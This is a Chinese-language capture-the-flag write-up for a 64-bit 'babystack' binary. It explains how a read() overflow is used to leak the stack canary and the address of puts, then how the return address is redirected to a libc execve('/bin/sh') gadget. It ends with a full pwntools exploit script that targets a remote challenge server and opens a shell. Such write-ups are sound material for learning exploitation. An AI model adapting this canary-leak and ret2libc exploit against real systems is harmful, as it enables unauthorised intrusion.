64位程序,动态链接,然后保护开的差不多了
程序无system(),无"/bin/sh",但是程序有libc(有libc表示有获得shell的函数),这就比较好办了,
在libc中找以一下shell的地址
继续,分析main()
v8就是那个标志canary,程序有个输出puts(),有read(),并且read()有一个非常明显的溢出(s的大小只有0x90,但是read读取了0x100大小的数据)
然后程序要求输入1/2/3进行选择下一步的操作
需要利用puts()泄露出标志canary,标志canary在rbp的上面,也就是在s的底部,所以当我们输入0x88个字节 的时候,puts()就能够将标志canary输入出来
上图为输入0x88个a之后的堆栈情况其中0x00007FFFF8B292A8处标志canary(这个不是真正的canary,下面会说明),0x00007FFFF8B292ABB为返回地址,继续运行程序能够得到标志canary
需要注意的是:canary的真实值应该是0x502CB52AB5572700,而不是0x502CB52AB557270A,这是因为在我们输入0x88个'a'时还输入了一个回车,这个回车将标志canary尾部的'\x00'覆盖为'\x0A'。另外正是因为这个回车覆盖掉'\x00',才使得puts()能够输出标志canary,不然的话puts()在遇到'\0‘时就停止输出了
所以我们可以用以下这段代码获得标志canary
payload = 'a'*0x88 p.sendlineafter(">> ","1") p.sendline(payload) p.sendlineafter(">> ","2") p.recvuntil('a'*0x88+'\n')
在获得到标志canary之后,我们可以再次利用puts()泄露出put()的真实地址,这是为了应对ASLR
由于是64位程序,所以需要一个gadget,这个可以直接找到
payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter(">> ","1") p.send(payload1) p.sendlineafter(">> ","3") puts_addr=u64(p.recv(8).ljust(8,'\x00'))
调用我们找到的execve("/bin/sh")
payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr)
from pwn import * context.arch = "amd64" context.log_level = "debug" elf = ELF("./babystack") p = remote('111.198.29.45','45381') #p = process("./babystack") libc = ELF("./libc-2.23.so") execve = 0x45216 main_addr = 0x400908 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] pop_rdi = 0x0400a93 payload = 'a'*0x88 p.sendlineafter(">> ","1") p.sendline(payload) p.sendlineafter(">> ","2") p.recvuntil('a'*0x88+'\n') canary = u64(p.recv(7).rjust(8,'\x00')) payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter(">> ","1") p.send(payload1) p.sendlineafter(">> ","3") puts_addr=u64(p.recv(8).ljust(8,'\x00')) execve_addr = puts_addr - (libc.symbols['puts'] - execve) payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr) p.sendlineafter(">> ","1") p.sendline(payload2) p.sendlineafter(">> ","3") p.interactive()
若文章有错误处,还请指出